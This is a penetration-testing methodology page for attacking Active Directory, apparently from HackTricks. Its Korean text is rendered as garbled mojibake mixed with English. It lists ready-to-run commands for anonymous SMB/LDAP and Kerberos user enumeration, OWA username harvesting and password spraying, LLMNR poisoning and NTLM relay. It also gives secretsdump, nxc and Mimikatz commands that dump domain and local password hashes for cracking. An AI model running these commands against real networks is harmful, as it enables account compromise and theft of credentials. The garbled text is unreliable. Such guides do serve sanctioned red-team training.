Active Directory Methodology

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ๊ฐœ์š”

Active Directory๋Š” ๋„คํŠธ์›Œํฌ ๊ด€๋ฆฌ์ž๊ฐ€ ๋„คํŠธ์›Œํฌ ๋‚ด์—์„œ ๋„๋ฉ”์ธ, ์‚ฌ์šฉ์ž, ์˜ค๋ธŒ์ ํŠธ๋ฅผ ํšจ์œจ์ ์œผ๋กœ ์ƒ์„ฑํ•˜๊ณ  ๊ด€๋ฆฌํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋Š” ๊ธฐ๋ณธ ๊ธฐ์ˆ ์ž…๋‹ˆ๋‹ค. ๋Œ€๊ทœ๋ชจ๋กœ ํ™•์žฅ๋˜๋„๋ก ์„ค๊ณ„๋˜์–ด ๋งŽ์€ ์ˆ˜์˜ ์‚ฌ์šฉ์ž๋ฅผ ๊ด€๋ฆฌ ๊ฐ€๋Šฅํ•œ ๊ทธ๋ฃน๊ณผ ํ•˜์œ„ ๊ทธ๋ฃน์œผ๋กœ ์กฐ์งํ•˜๊ณ  ๋‹ค์–‘ํ•œ ์ˆ˜์ค€์—์„œ์˜ ์ ‘๊ทผ ๊ถŒํ•œ์„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Active Directory์˜ ๊ตฌ์กฐ๋Š” ์„ธ ๊ฐ€์ง€ ์ฃผ์š” ๊ณ„์ธต์œผ๋กœ ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค: ๋„๋ฉ”์ธ, ํŠธ๋ฆฌ, ๊ทธ๋ฆฌ๊ณ  ํฌ๋ฆฌ์ŠคํŠธ. ๋„๋ฉ”์ธ์€ ๊ณตํ†ต ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ๊ณต์œ ํ•˜๋Š” ์‚ฌ์šฉ์ž๋‚˜ ์žฅ์น˜ ๊ฐ™์€ ์˜ค๋ธŒ์ ํŠธ๋“ค์˜ ๋ชจ์Œ์ž…๋‹ˆ๋‹ค. ํŠธ๋ฆฌ๋Š” ๊ณตํ†ต ๊ตฌ์กฐ๋กœ ์—ฐ๊ฒฐ๋œ ๋„๋ฉ”์ธ๋“ค์˜ ๊ทธ๋ฃน์ด๋ฉฐ, ํฌ๋ฆฌ์ŠคํŠธ๋Š” ์—ฌ๋Ÿฌ ํŠธ๋ฆฌ๋“ค์ด **ํŠธ๋Ÿฌ์ŠคํŠธ ๊ด€๊ณ„(trust relationships)**๋ฅผ ํ†ตํ•ด ์—ฐ๊ฒฐ๋œ ์ตœ์ƒ์œ„ ์กฐ์ง ๊ตฌ์กฐ์ž…๋‹ˆ๋‹ค. ๊ฐ ๊ณ„์ธต์—์„œ ํŠน์ • ์ ‘๊ทผ ๋ฐ ํ†ต์‹  ๊ถŒํ•œ์„ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Active Directory ๋‚ด ์ฃผ์š” ๊ฐœ๋…์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  1. ๋””๋ ‰ํ„ฐ๋ฆฌ(Directory) โ€“ Active Directory ์˜ค๋ธŒ์ ํŠธ์™€ ๊ด€๋ จ๋œ ๋ชจ๋“  ์ •๋ณด๋ฅผ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค.
  2. ์˜ค๋ธŒ์ ํŠธ(Object) โ€“ ๋””๋ ‰ํ„ฐ๋ฆฌ ๋‚ด์˜ ์—”ํ„ฐํ‹ฐ๋กœ ์‚ฌ์šฉ์ž, ๊ทธ๋ฃน, ๋˜๋Š” ๊ณต์œ  ํด๋” ๋“ฑ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.
  3. ๋„๋ฉ”์ธ(Domain) โ€“ ๋””๋ ‰ํ„ฐ๋ฆฌ ์˜ค๋ธŒ์ ํŠธ์˜ ์ปจํ…Œ์ด๋„ˆ๋กœ, ์—ฌ๋Ÿฌ ๋„๋ฉ”์ธ์ด ํ•˜๋‚˜์˜ ํฌ๋ฆฌ์ŠคํŠธ ๋‚ด์— ๊ณต์กดํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ ๊ฐ ๋„๋ฉ”์ธ์€ ์ž์ฒด ์˜ค๋ธŒ์ ํŠธ ์ปฌ๋ ‰์…˜์„ ๊ฐ€์ง‘๋‹ˆ๋‹ค.
  4. ํŠธ๋ฆฌ(Tree) โ€“ ๊ณตํ†ต ๋ฃจํŠธ ๋„๋ฉ”์ธ์„ ๊ณต์œ ํ•˜๋Š” ๋„๋ฉ”์ธ๋“ค์˜ ๊ทธ๋ฃน์ž…๋‹ˆ๋‹ค.
  5. ํฌ๋ฆฌ์ŠคํŠธ(Forest) โ€“ Active Directory์˜ ์ตœ์ƒ์œ„ ์กฐ์ง ๊ตฌ์กฐ๋กœ, ์—ฌ๋Ÿฌ ํŠธ๋ฆฌ์™€ ์ด๋“ค ๊ฐ„์˜ ํŠธ๋Ÿฌ์ŠคํŠธ ๊ด€๊ณ„๋กœ ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค.

**Active Directory Domain Services (AD DS)**๋Š” ๋„คํŠธ์›Œํฌ ๋‚ด ์ค‘์•™ ์ง‘์ค‘์‹ ๊ด€๋ฆฌ์™€ ํ†ต์‹ ์„ ์œ„ํ•ด ์ค‘์š”ํ•œ ๋‹ค์–‘ํ•œ ์„œ๋น„์Šค๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ์ด๋“ค ์„œ๋น„์Šค๋Š” ๋‹ค์Œ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค:

  1. Domain Services โ€“ ๋ฐ์ดํ„ฐ ์ €์žฅ์„ ์ค‘์•™ํ™”ํ•˜๊ณ  ์‚ฌ์šฉ์ž์™€ ๋„๋ฉ”์ธ ๊ฐ„์˜ ์ƒํ˜ธ์ž‘์šฉ(์ธ์ฆ ๋ฐ ๊ฒ€์ƒ‰ ๊ธฐ๋Šฅ ํฌํ•จ)์„ ๊ด€๋ฆฌํ•ฉ๋‹ˆ๋‹ค.
  2. Certificate Services โ€“ ๋ณด์•ˆ ๋””์ง€ํ„ธ ์ธ์ฆ์„œ์˜ ์ƒ์„ฑ, ๋ฐฐํฌ ๋ฐ ๊ด€๋ฆฌ๋ฅผ ๊ฐ๋…ํ•ฉ๋‹ˆ๋‹ค.
  3. Lightweight Directory Services โ€“ LDAP protocol์„ ํ†ตํ•ด ๋””๋ ‰ํ„ฐ๋ฆฌ ์ง€์› ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค.
  4. Directory Federation Services โ€“ ์—ฌ๋Ÿฌ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ๊ฑธ์ณ ๋‹จ์ผ ์„ธ์…˜์œผ๋กœ ์‚ฌ์šฉ์ž๋ฅผ ์ธ์ฆํ•˜๋Š” single-sign-on ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.
  5. Rights Management โ€“ ์ €์ž‘๊ถŒ ์ž๋ฃŒ์˜ ๋ฌด๋‹จ ๋ฐฐํฌ ๋ฐ ์‚ฌ์šฉ์„ ๊ทœ์ œํ•˜์—ฌ ๋ณดํ˜ธ๋ฅผ ๋•์Šต๋‹ˆ๋‹ค.
  6. DNS Service โ€“ ๋„๋ฉ”์ธ ์ด๋ฆ„ ํ•ด์„์— ํ•„์ˆ˜์ ์ž…๋‹ˆ๋‹ค.

๋” ์ž์„ธํ•œ ์„ค๋ช…์€ ๋‹ค์Œ์„ ํ™•์ธํ•˜์„ธ์š”: TechTerms - Active Directory Definition

Kerberos Authentication

AD๋ฅผ ๊ณต๊ฒฉํ•˜๋ ค๋ฉด Kerberos authentication process๋ฅผ ์ •๋ง ์ž˜ ์ดํ•ดํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
Read this page if you still donโ€™t know how it works.

์น˜ํŠธ ์‹œํŠธ

AD๋ฅผ ์—ด๋žŒ/๊ณต๊ฒฉํ•˜๊ธฐ ์œ„ํ•ด ์–ด๋–ค ๋ช…๋ น๋“ค์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ๋น ๋ฅด๊ฒŒ ํ™•์ธํ•˜๋ ค๋ฉด https://wadcoms.github.io/์—์„œ ๋งŽ์€ ์ •๋ณด๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Warning

Kerberos ํ†ต์‹ ์€ ์ž‘์—… ์ˆ˜ํ–‰์„ ์œ„ํ•ด **full qualifid name (FQDN)**์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ IP ์ฃผ์†Œ๋กœ ๋จธ์‹ ์— ์ ‘๊ทผํ•˜๋ ค ํ•˜๋ฉด, NTLM์„ ์‚ฌ์šฉํ•˜๊ฒŒ ๋˜๋ฉฐ Kerberos๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

Recon Active Directory (์ž๊ฒฉ์ฆ๋ช…/์„ธ์…˜ ์—†์Œ)

AD ํ™˜๊ฒฝ์— ์ ‘๊ทผ์€ ๊ฐ€๋Šฅํ•˜์ง€๋งŒ ์ž๊ฒฉ์ฆ๋ช…/์„ธ์…˜์ด ์—†๋Š” ๊ฒฝ์šฐ ํ•  ์ˆ˜ ์žˆ๋Š” ์ผ:

  • ๋„คํŠธ์›Œํฌ ํŽœํ…Œ์ŠคํŠธ:
    • ๋„คํŠธ์›Œํฌ๋ฅผ ์Šค์บ”ํ•˜๊ณ  ๋จธ์‹ ๊ณผ ์—ด๋ฆฐ ํฌํŠธ๋ฅผ ์ฐพ์•„ ์ทจ์•ฝ์  ์•…์šฉ ๋˜๋Š” ํ•ด๋‹น ์‹œ์Šคํ…œ์—์„œ ์ž๊ฒฉ์ฆ๋ช… ์ถ”์ถœ์„ ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค (์˜ˆ: ํ”„๋ฆฐํ„ฐ๋Š” ๋งค์šฐ ํฅ๋ฏธ๋กœ์šด ํƒ€๊นƒ์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค).
    • DNS ์—ด๋žŒ์€ ์›น, ํ”„๋ฆฐํ„ฐ, ๊ณต์œ , VPN, ๋ฏธ๋””์–ด ๋“ฑ ๋„๋ฉ”์ธ ๋‚ด ํ•ต์‹ฌ ์„œ๋ฒ„์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์ œ๊ณตํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
    • gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt
    • ์ž์„ธํ•œ ๋ฐฉ๋ฒ•์€ ์ผ๋ฐ˜ Pentesting Methodology๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”.
  • SMB ์„œ๋น„์Šค์—์„œ null ๋ฐ Guest ์ ‘๊ทผ ํ™•์ธ (์ด ๋ฐฉ๋ฒ•์€ ์ตœ์‹  Windows ๋ฒ„์ „์—์„œ๋Š” ๋™์ž‘ํ•˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Œ):
    • enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>
    • smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>
    • smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //
    • SMB ์„œ๋ฒ„ ์—ด๋žŒ์— ๋Œ€ํ•œ ๋ณด๋‹ค ์ƒ์„ธํ•œ ๊ฐ€์ด๋“œ๋Š” ๋‹ค์Œ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

139,445 - Pentesting SMB

  • LDAP ์—ด๋žŒ
    • nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>
    • ์ต๋ช… ์ ‘๊ทผ(anonymous access)์— ํŠน๋ณ„ํžˆ ์ฃผ์˜ํ•˜๋ฉด์„œ LDAP ์—ด๋žŒ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๊ฐ€์ด๋“œ๋Š” ๋‹ค์Œ์—์„œ ํ™•์ธํ•˜์„ธ์š”:

389, 636, 3268, 3269 - Pentesting LDAP

  • ๋„คํŠธ์›Œํฌ ์ค‘๊ฐ„์ž ๊ณต๊ฒฉ(Poison the network)
    • Responder๋กœ ์„œ๋น„์Šค๋ฅผ ๊ฐ€์žฅํ•˜์—ฌ ์ž๊ฒฉ์ฆ๋ช… ์ˆ˜์ง‘(impersonating services with Responder) (../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
    • ๋ฆฌ๋ ˆ์ด ๊ณต๊ฒฉ์„ ์•…์šฉํ•˜์—ฌ ํ˜ธ์ŠคํŠธ์— ์ ‘๊ทผ
    • ๊ฐ€์งœ UPnP ์„œ๋น„์Šค๋ฅผ ๋…ธ์ถœํ•˜์—ฌ ์ž๊ฒฉ์ฆ๋ช… ์ˆ˜์ง‘(evil-S SDP) (../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md) SDP
  • OSINT:
    • ๋‚ด๋ถ€ ๋ฌธ์„œ, ์†Œ์…œ ๋ฏธ๋””์–ด, ๋„๋ฉ”์ธ ๋‚ด๋ถ€์˜ ์„œ๋น„์Šค(์ฃผ๋กœ ์›น) ๋ฐ ๊ณต๊ฐœ์ ์œผ๋กœ ์ด์šฉ ๊ฐ€๋Šฅํ•œ ์ •๋ณด์—์„œ ์‚ฌ์šฉ์ž ์ด๋ฆ„/์ด๋ฆ„์„ ์ถ”์ถœํ•ฉ๋‹ˆ๋‹ค.
    • ํšŒ์‚ฌ ์ง์›์˜ ์ „์ฒด ์ด๋ฆ„์„ ์ฐพ์œผ๋ฉด ๋‹ค์–‘ํ•œ AD username conventions์„ ์‹œ๋„ํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (read this). ์ผ๋ฐ˜์ ์ธ ๊ทœ์น™์œผ๋กœ๋Š”: NameSurname, Name.Surname, NamSur (๊ฐ๊ฐ 3๊ธ€์ž), Nam.Sur, NSurname, N.Surname, SurnameName, Surname.Name, SurnameN, Surname.N, 3๊ฐœ์˜ ์˜๋ฌธ ๋ฌธ์ž + 3๊ฐœ์˜ ์ˆซ์ž (์˜ˆ: abc123) ๋“ฑ์ด ์žˆ์Šต๋‹ˆ๋‹ค.
    • ๋„๊ตฌ:

์‚ฌ์šฉ์ž ์—ด๊ฑฐ

  • ์ต๋ช… SMB/LDAP ์—ด๊ฑฐ: pentesting SMB ๋ฐ pentesting LDAP ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•˜์„ธ์š”.
  • Kerbrute ์—ด๊ฑฐ: ์ž˜๋ชป๋œ ์‚ฌ์šฉ์ž ์ด๋ฆ„์ด ์š”์ฒญ๋˜๋ฉด ์„œ๋ฒ„๋Š” Kerberos error ์ฝ”๋“œ _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_๋กœ ์‘๋‹ตํ•˜์—ฌ ์‚ฌ์šฉ์ž๊ฐ€ ์œ ํšจํ•˜์ง€ ์•Š์Œ์„ ์•Œ๋ฆฝ๋‹ˆ๋‹ค. ์œ ํšจํ•œ ์‚ฌ์šฉ์ž ์ด๋ฆ„์€ AS-REP์—์„œ TGT๋ฅผ ๋ฐ˜ํ™˜ํ•˜๊ฑฐ๋‚˜ KRB5KDC_ERR_PREAUTH_REQUIRED ์˜ค๋ฅ˜๋ฅผ ๋ฐ˜ํ™˜ํ•˜์—ฌ ํ•ด๋‹น ์‚ฌ์šฉ์ž๊ฐ€ ์‚ฌ์ „ ์ธ์ฆ(pre-authentication)์„ ์š”๊ตฌํ•จ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.
  • MS-NRPC์— ๋Œ€ํ•œ ์ธ์ฆ ์—†์Œ(No Authentication against MS-NRPC): ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์˜ MS-NRPC (Netlogon) ์ธํ„ฐํŽ˜์ด์Šค์— auth-level = 1 (No authentication)๋กœ ๋ฐ”์ธ๋”ฉํ•˜์—ฌ ์ž๊ฒฉ์ฆ๋ช… ์—†์ด๋„ ์‚ฌ์šฉ์ž๊ฐ€ ์กด์žฌํ•˜๋Š”์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ MS-NRPC ์ธํ„ฐํŽ˜์ด์Šค๋ฅผ ๋ฐ”์ธ๋”ฉํ•œ ํ›„ DsrGetDcNameEx2 ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ ์‚ฌ์šฉ์ž๋‚˜ ์ปดํ“จํ„ฐ๊ฐ€ ์กด์žฌํ•˜๋Š”์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ์ด ์œ ํ˜•์˜ ์—ด๊ฑฐ๋ฅผ ๊ตฌํ˜„ํ•œ ๋„๊ตฌ๋Š” NauthNRPC์ž…๋‹ˆ๋‹ค. ๊ด€๋ จ ์—ฐ๊ตฌ๋Š” ์—ฌ๊ธฐ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases

nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN'" <IP>
Nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='<domain>',userdb=/root/Desktop/usernames.txt <IP>

msf> use auxiliary/gather/kerberos_enumusers

crackmapexec smb dominio.es  -u '' -p '' --users | awk '{print $4}' | uniq
python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/NauthNRPC
  • OWA (Outlook Web Access) ์„œ๋ฒ„

๋„คํŠธ์›Œํฌ์—์„œ ์ด๋Ÿฌํ•œ ์„œ๋ฒ„๋ฅผ ๋ฐœ๊ฒฌํ–ˆ๋‹ค๋ฉด, ํ•ด๋‹น ์„œ๋ฒ„์— ๋Œ€ํ•ด user enumeration๋„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, MailSniper ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

ipmo C:\Tools\MailSniper\MailSniper.ps1
# Get info about the domain
Invoke-DomainHarvestOWA -ExchHostname [ip]
# Enumerate valid users from a list of potential usernames
Invoke-UsernameHarvestOWA -ExchHostname [ip] -Domain [domain] -UserList .\possible-usernames.txt -OutFile valid.txt
# Password spraying
Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summer2021
# Get addresses list from the compromised mail
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt

Warning

You can find lists of usernames in this github repo and this one (statistically-likely-usernames).

However, you should have the ํšŒ์‚ฌ์—์„œ ์ผํ•˜๋Š” ์‚ฌ๋žŒ๋“ค์˜ ์ด๋ฆ„ from the recon step you should have performed before this. With the name and surname you could used the script namemash.py to generate potential valid usernames.

Knowing one or several usernames

Ok, so you know you have already a valid username but no passwordsโ€ฆ Then try:

  • ASREPRoast: If a user ๊ฐ€์ง€๊ณ  ์žˆ์ง€ ์•Š๋‹ค๋ฉด the attribute DONT_REQ_PREAUTH you can AS_REP ๋ฉ”์‹œ์ง€๋ฅผ ์š”์ฒญํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค for that user that will contain some data encrypted by a derivation of the password of the user.
  • Password Spraying: ๋ฐœ๊ฒฌํ•œ ๊ฐ ์‚ฌ์šฉ์ž์— ๋Œ€ํ•ด ๊ฐ€์žฅ ์ผ๋ฐ˜์ ์ธ ๋น„๋ฐ€๋ฒˆํ˜ธ๋“ค์„ ์‹œ๋„ํ•ด ๋ณด์„ธ์š”. ์•„๋งˆ๋„ ์–ด๋–ค ์‚ฌ์šฉ์ž๊ฐ€ ์ทจ์•ฝํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์“ฐ๊ณ  ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(๋น„๋ฐ€๋ฒˆํ˜ธ ์ •์ฑ…์„ ์—ผ๋‘์— ๋‘์„ธ์š”!).
  • Note that you can also spray OWA servers to try to get access to the users mail servers.

Password Spraying / Brute Force

LLMNR/NBT-NS Poisoning

๋„คํŠธ์›Œํฌ์˜ ์ผ๋ถ€ ํ”„๋กœํ† ์ฝœ์„ ํฌ์ด์ฆˆ๋‹ํ•˜์—ฌ ํฌ๋ž™ํ•  ์ˆ˜ ์žˆ๋Š” ์ฑŒ๋ฆฐ์ง€ ํ•ด์‹œ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

NTLM Relay

active directory๋ฅผ ์—ด๊ฑฐํ•˜๋Š” ๋ฐ ์„ฑ๊ณตํ•˜๋ฉด ๋” ๋งŽ์€ ์ด๋ฉ”์ผ๊ณผ ๋„คํŠธ์›Œํฌ์— ๋Œ€ํ•œ ๋” ๋‚˜์€ ์ดํ•ด๋ฅผ ๊ฐ–๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. NTLM relay attacks๋ฅผ ๊ฐ•์ œํ•˜์—ฌ AD ํ™˜๊ฒฝ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์„์ง€๋„ ๋ชจ๋ฆ…๋‹ˆ๋‹ค.

Steal NTLM Creds

null ๋˜๋Š” guest user๋กœ ๋‹ค๋ฅธ PC๋‚˜ ๊ณต์œ ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด SCF ํŒŒ์ผ ๊ฐ™์€ ํŒŒ์ผ์„ ๋ฐฐ์น˜ํ•  ์ˆ˜ ์žˆ๊ณ , ๋ˆ„๊ตฐ๊ฐ€๊ฐ€ ๊ทธ๊ฒƒ์— ์ ‘๊ทผํ•˜๋ฉด ๋‹น์‹ ์„ ๋Œ€์ƒ์œผ๋กœ ํ•œ NTLM ์ธ์ฆ์„ ํŠธ๋ฆฌ๊ฑฐํ•˜์—ฌ NTLM ์ฑŒ๋ฆฐ์ง€๋ฅผ ํ›”์ณ ํฌ๋ž™ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Places to steal NTLM creds

Hash Shucking & NT-Candidate Attacks

Hash shucking์€ ์ด๋ฏธ ๋ณด์œ ํ•œ ๋ชจ๋“  NT ํ•ด์‹œ๋ฅผ NT ํ•ด์‹œ๋กœ๋ถ€ํ„ฐ ์ง์ ‘ ์œ ๋ž˜๋˜๋Š” ํ‚ค ์žฌ๋ฃŒ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๋А๋ฆฐ ํฌ๋งท๋“ค(์˜ˆ: Kerberos RC4 ํ‹ฐ์ผ“, NetNTLM ์ฑŒ๋ฆฐ์ง€, ์บ์‹œ๋œ ์ž๊ฒฉ์ฆ๋ช…)์˜ ํ›„๋ณด ๋น„๋ฐ€๋ฒˆํ˜ธ๋กœ ์ทจ๊ธ‰ํ•ฉ๋‹ˆ๋‹ค. ๊ธด ํŒจ์Šคํ”„๋ ˆ์ด์ฆˆ๋ฅผ Kerberos RC4 ํ‹ฐ์ผ“, NetNTLM ์‘๋‹ต ๋˜๋Š” ์บ์‹œ๋œ ์ž๊ฒฉ์ฆ๋ช…์—์„œ ๋ฌด์ž‘์œ„๋กœ ์ฐพ๋Š” ๋Œ€์‹  NT ํ•ด์‹œ๋ฅผ Hashcat์˜ NT-candidate ๋ชจ๋“œ์— ํˆฌ์ž…ํ•˜์—ฌ ํ‰๋ฌธ์„ ์•Œ์ง€ ๋ชปํ•œ ์ฑ„ ์žฌ์‚ฌ์šฉ์„ ๊ฒ€์ฆํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋„๋ฉ”์ธ ์นจํ•ด ์ดํ›„ ์ˆ˜์ฒœ ๊ฐœ์˜ ํ˜„์žฌ ๋ฐ ๊ณผ๊ฑฐ NT ํ•ด์‹œ๋ฅผ ์ˆ˜์ง‘ํ•  ์ˆ˜ ์žˆ์„ ๋•Œ ํŠนํžˆ ๊ฐ•๋ ฅํ•ฉ๋‹ˆ๋‹ค.

๋‹ค์Œ ์ƒํ™ฉ์—์„œ shucking์„ ์‚ฌ์šฉํ•˜์„ธ์š”:

  • DCSync, SAM/SECURITY ๋คํ”„ ๋˜๋Š” ์ž๊ฒฉ์ฆ๋ช… ์ €์žฅ์†Œ์—์„œ NT ์ฝ”ํผ์Šค๊ฐ€ ์žˆ์–ด ๋‹ค๋ฅธ ๋„๋ฉ”์ธ/ํฌ๋ ˆ์ŠคํŠธ์—์„œ ์žฌ์‚ฌ์šฉ์„ ๊ฒ€์‚ฌํ•ด์•ผ ํ•  ๋•Œ.
  • RC4 ๊ธฐ๋ฐ˜ Kerberos ์ž๋ฃŒ($krb5tgs$23$, $krb5asrep$23$), NetNTLM ์‘๋‹ต ๋˜๋Š” DCC/DCC2 ๋ธ”๋ž์„ ์บก์ฒ˜ํ•  ๋•Œ.
  • ๊ธด, ํฌ๋ž™ํ•˜๊ธฐ ํž˜๋“  ํŒจ์Šคํ”„๋ ˆ์ด์ฆˆ์˜ ์žฌ์‚ฌ์šฉ์„ ๋น ๋ฅด๊ฒŒ ์ฆ๋ช…ํ•˜๊ณ  ๋ฐ”๋กœ Pass-the-Hash๋กœ ํ”ผ๋ฒ—ํ•˜๋ ค ํ•  ๋•Œ.

์ด ๊ธฐ๋ฒ•์€ ํ‚ค๊ฐ€ NT ํ•ด์‹œ๊ฐ€ ์•„๋‹Œ ์•”ํ˜ธํ™” ์œ ํ˜•(์˜ˆ: Kerberos etype 17/18 AES)์—๋Š” ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋„๋ฉ”์ธ์ด AES ์ „์šฉ์„ ๊ฐ•์ œํ•˜๋ฉด ์ผ๋ฐ˜ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ชจ๋“œ๋กœ ๋˜๋Œ์•„๊ฐ€์•ผ ํ•ฉ๋‹ˆ๋‹ค.

Building an NT hash corpus

  • DCSync/NTDS โ€“ secretsdump.py๋ฅผ ํžˆ์Šคํ† ๋ฆฌ ์˜ต์…˜๊ณผ ํ•จ๊ป˜ ์‚ฌ์šฉํ•˜์—ฌ ๊ฐ€๋Šฅํ•œ ํ•œ ๋งŽ์€ NT ํ•ด์‹œ(๋ฐ ์ด์ „ ๊ฐ’)๋ฅผ ํ™•๋ณดํ•˜์„ธ์š”:
secretsdump.py <domain>/<user>@<dc_ip> -just-dc-ntlm -history -user-status -outputfile smoke_dump
grep -i ':::' smoke_dump.ntds | awk -F: '{print $4}' | sort -u > nt_candidates.txt

ํžˆ์Šคํ† ๋ฆฌ ํ•ญ๋ชฉ์€ ๊ณ„์ •๋‹น ์ตœ๋Œ€ 24๊ฐœ์˜ ์ด์ „ ํ•ด์‹œ๋ฅผ ์ €์žฅํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ํ›„๋ณด ํ’€์„ ํฌ๊ฒŒ ๋„“ํž™๋‹ˆ๋‹ค. NTDS ๋น„๋ฐ€์„ ์ˆ˜์ง‘ํ•˜๋Š” ๋” ๋งŽ์€ ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ์„ ์ฐธ์กฐํ•˜์„ธ์š”:

DCSync

  • Endpoint cache dumps โ€“ nxc smb <ip> -u <local_admin> -p <password> --local-auth --lsa (๋˜๋Š” Mimikatz lsadump::sam /patch)๋กœ ๋กœ์ปฌ SAM/SECURITY ๋ฐ์ดํ„ฐ์™€ ์บ์‹œ๋œ ๋„๋ฉ”์ธ ๋กœ๊ทธ์ธ(DCC/DCC2)์„ ์ถ”์ถœํ•ฉ๋‹ˆ๋‹ค. ์ค‘๋ณต์„ ์ œ๊ฑฐํ•˜๊ณ  ํ•ด๋‹น ํ•ด์‹œ๋“ค์„ ๊ฐ™์€ nt_candidates.txt ๋ชฉ๋ก์— ์ถ”๊ฐ€ํ•˜์„ธ์š”.
